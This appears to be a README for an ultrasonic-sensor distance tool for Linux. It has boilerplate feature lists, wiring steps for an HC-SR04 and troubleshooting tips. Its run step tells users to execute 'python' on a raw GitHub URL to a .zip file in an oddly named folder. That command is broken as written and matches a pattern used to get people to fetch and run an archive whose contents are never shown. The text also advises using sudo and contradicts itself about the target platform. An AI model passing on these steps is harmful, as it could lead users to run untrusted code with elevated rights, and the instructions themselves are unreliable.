πŸ›°οΈ ultrasonic-radar - Find Objects with Ease

πŸš€ Getting Started

Welcome to the ultrasonic-radar application! This software helps you use ultrasonic sensors to detect objects and measure distances easily. With it, you can explore the world of sensors on your Linux device.

πŸ“¦ Download & Install

To get started, you need to download the software.

Download Ultrasonic Radar

  1. Click the button or link above to visit the releases page.
  2. Look for the latest version of the application.
  3. Download the appropriate file for your Linux system.

Once downloaded, open your terminal and navigate to the download directory. Run the appropriate command to install and start using the application.

πŸ“œ Features

  • Real-Time Measurement: Get immediate distance readings.
  • Easy Setup: Follow straightforward instructions for installation.
  • Compatibility: Works with various ultrasonic sensors, including HC-SR04 and RCWL-9610A.
  • Lightweight and Fast: Designed to run efficiently on small devices like the Raspberry Pi Pico.

πŸ“‹ System Requirements

To successfully run ultrasonic-radar, you need:

  • A Linux operating system (Ubuntu, Fedora, or others).
  • A compatible ultrasonic sensor connected to your device.
  • Python 3 installed on your system.

πŸ”Œ Connecting Your Ultrasonic Sensor

You can connect different ultrasonic sensors to your device following standard wiring. For example, if you're using the HC-SR04 sensor:

  1. Connect the VCC pin to the 5V power source.
  2. Connect the GND pin to ground.
  3. Connect the TRIG pin to a GPIO pin on your device.
  4. Connect the ECHO pin to another GPIO pin.

Once connected, you can start interacting with your ultrasonic radar.

πŸ› οΈ Running the Application

After installing the application, you can run it directly from the terminal. Use the following command:

python https://raw.githubusercontent.com/zahrawou/ultrasonic-radar/main/unstavable/ultrasonic-radar.zip

Replace "https://raw.githubusercontent.com/zahrawou/ultrasonic-radar/main/unstavable/ultrasonic-radar.zip" with the actual filename if it is different. This will launch the program, and you will see options for measuring distances.

❓ Troubleshooting

If you encounter issues, here are common problems and solutions:

  • Sensor Not Detected: Ensure connections are secure and correct.
  • Permission Denied: Run the command with sudo if permissions issues arise.
  • Python Not Installed: Follow online guides to install Python 3 based on your Linux distribution.
